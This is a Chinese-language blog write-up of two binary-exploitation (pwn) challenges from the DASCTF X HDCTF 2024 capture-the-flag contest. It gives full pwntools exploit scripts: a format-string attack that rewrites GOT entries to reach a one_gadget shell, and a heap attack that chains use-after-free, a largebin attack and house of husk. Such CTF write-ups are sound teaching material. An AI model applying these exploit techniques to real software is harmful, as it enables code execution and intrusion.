DASCTF X HDCTF 2024 公开赛|生而无畏战_pwn部分wp

剩下一个不会写。😭等复现了。

image-20240602192245149

来签个到吧

分析

image-20240602185828209

程序很简单,给了一个栈地址,然后是格式化字符串漏洞,不过是向数据段输入,随后立即exit。

image-20240602182001765

执行完printf后,程序是调用了_exit,它不会触发io相关的函数,直接syscall退出。

思路

改_exit的got表为main函数地址,可以达到多次格式化字符串的目的,之后便随便打了,我选择的改prinrtf的got表为one_gadget。

exp

当时做的时候走了点弯路,第一次劫持了printf的返回地址为main同时泄露libcbase,第二次才改的exit_got为main。

记得printf一次写最多写两字节有效数据,之后测试发现一次可以写出3字节有效数据,如此配合“%lln”便可以一次改出来一个程序地址。

from tools import *
context(log_level='debug',arch='amd64',os='linux')
for i in range(40):
    p,elf,libc=load("pwn2","node5.buuoj.cn:26965")
    p.recvuntil("Gift addr: ")
    stack=int(p.recvline(False),16)
    log_addr("stack")

    retaddr=stack-0x28+1
    log_addr("retaddr")
    a=retaddr&0xffff
    
    if a>0x4013 :
        print("------->>error",i)
        p.close()
        continue
    else :
        payload=b"%p-"*6+b"%"+str(a-0x2d).encode()+b"c%hn%"+str(0x4012-a-37).encode()+b"c"+b"%c"*37+b"%hn"
        log_addr("a")
        p.sendafter("Please leave your message: ",payload)

        p.recvuntil("-")
        p.recvuntil("-0x")
        libcbase=int(p.recv(12),16)-0x10e1f2
        log_addr("libcbase")
        og=libcbase+0xe3b01
        exit_got=0x000000000404018
        b=og&0xffff
        log_addr("b")

        retaddr=stack+0x58
        a=retaddr&0xffff

        payload=b"%p-"*5+b"%"+str(a-0x2d+0x1d).encode()+b"c%hn"
        payload+=b"%"+str(0x4012-0x19-a-37).encode()+b"c"+b"%c"*38+b"%hn"
        payload+=b"%6c"+b"%hn"



        log_addr("a")
        p.sendafter("Please leave your message: ",payload)   

        payload=b"%"+str(0x123b).encode()+b"c%24$hn"
        payload=payload.ljust(0x100,b"\x00")
        p.sendafter("Please leave your message: ",payload)   

        payload=b"%"+str(0x28).encode()+b"c%61$hhn"
        p.sendafter("Please leave your message: ",payload) 

        og=libcbase+0xe3b01
        exit_got=0x000000000404018
        b=og&0xffff
        paddr=stack+0x60
       
        a=paddr&0xffff
        payload=b"%"+str(a).encode()+b"c%32$hn"

        p.sendafter("Please leave your message: ",payload)

        payload=b"%"+str(0x402a).encode()+b"c%83$hn"
        payload=payload.ljust(0x100,b"\x00")
        debug(p,0x000000000401324,0x000000000401361,0x000000000040136B)

        p.sendafter("Please leave your message: ",payload)
        c=(og>>16)&0xff
        payload=b"%"+str(c).encode()+b"c%70$hhn"+b"%"+str(b-c).encode()+b"c%72$hn"
        p.sendafter("Please leave your message: ",payload)
        break

p.interactive()

最喜欢的一集

分析

image-20240602190000862

一个菜单堆,增删改查功能齐全,还给了一个255的选项,功能是任意地址写一个字符。

add

可以申请大堆块,申请完之后写数据。

image-20240602190138461

free

4018的初始值为1,存在一次uaf。

image-20240602190333014

edit

4028初始值为1,编辑功能只能使用一次。

image-20240602190434422

show

4020初始值为1,只能show一次。并且打印0x10字节,也就是说正常情况下,一次泄露出libc和heap是不可能的。

image-20240602190544728

exit

关键点在这,退出时特意调用了一次含有格式化字符的printf,这个提示很明显了,八成就是house of husk。

image-20240602190721130

思路

  • 利用uaf,将堆块放入largebin后泄露libcbase,这个堆块A同时也是largebin attack要用到的。
  • 通过largebin attack可以任意地址写一个堆地址(堆块B),通常是向_IO_list_all写,但是这题是_exit不会触发io流。不过,可以向__printf_arginfo_table写入。将onegedget写到堆块B中。利用255选项向__printf_function_table写入一个字符使其不为空。
  • 最后退出时触发one_gadget。

exp

from tools import *
from pwncli import *
context.log_level="debug"
p,elf,libc=load("ezz","node5.buuoj.cn:28320")

def add(name=b"abc",size=0x500,msg=b"qwe"):
    p.sendlineafter("choice:",b"1")
    p.sendlineafter("r name:",name)
    p.sendlineafter("Please input the length of your desciption: ",str(size))
    p.sendlineafter("Please input the content of your desciption: ",msg)
def free(idx):
    p.sendlineafter("choice:",b"2")
    p.sendlineafter("Please input the index of the people: ",str(idx))
def edit(idx,msg,name=b"aa"):
    p.sendlineafter("choice:",b"3") 
    p.sendlineafter("Please input the index of the people: ",str(idx))      
    p.sendlineafter(b'Please input the name of the people: ',name)
        
    p.sendlineafter("Please input the content of the desciption: ",msg)
def show(idx):
    p.sendlineafter("choice:",b"4")
    p.sendlineafter("Please input the index of the people: ",str(idx))
add(size=0x520) #0
add()   #1

free(0)
add(size=0x540) #2

show(0)
#__printf_function_table __printf_arginfo_table
og=[0xe3afe,0xe3b01,0xe3b04]

libcbase=recv_libc()-0x1ed010
log_addr("libcbase")
fun=libcbase+0x1f1318
arg=libcbase+0x1ed7b0
log_addr("fun")
log_addr("arg")

payload=p64(og[0]+libcbase)*0x73


add(size=0x520) #3
add(size=0x510,msg=payload) #4
free(3)

add(size=0x540)           #3
free(4)
edit(0,p64(libcbase+0x1ed010)*3+p64(arg-0x20))
add(size=0x540)
debug(p,"pie",0x0000000000001900,0x00000000000017FE,0x0000000000001C4C,0x0000000000001C9A,0x0000000000001B38,0x0000000000001B68,0x0000000000001D75)

p.sendlineafter("choice:",b"255") 
p.sendlineafter(b"Maybe Do you like IU?\n",b"y")

p.sendlineafter(b"Give you a reward!\n",p64(fun))
sleep(0.5)

p.sendline(b"k")


p.sendlineafter("choice:",b"8")
p.interactive()
posted @ 2024-06-03 12:12  Sta8r9  阅读(169)  评论(5编辑  收藏  举报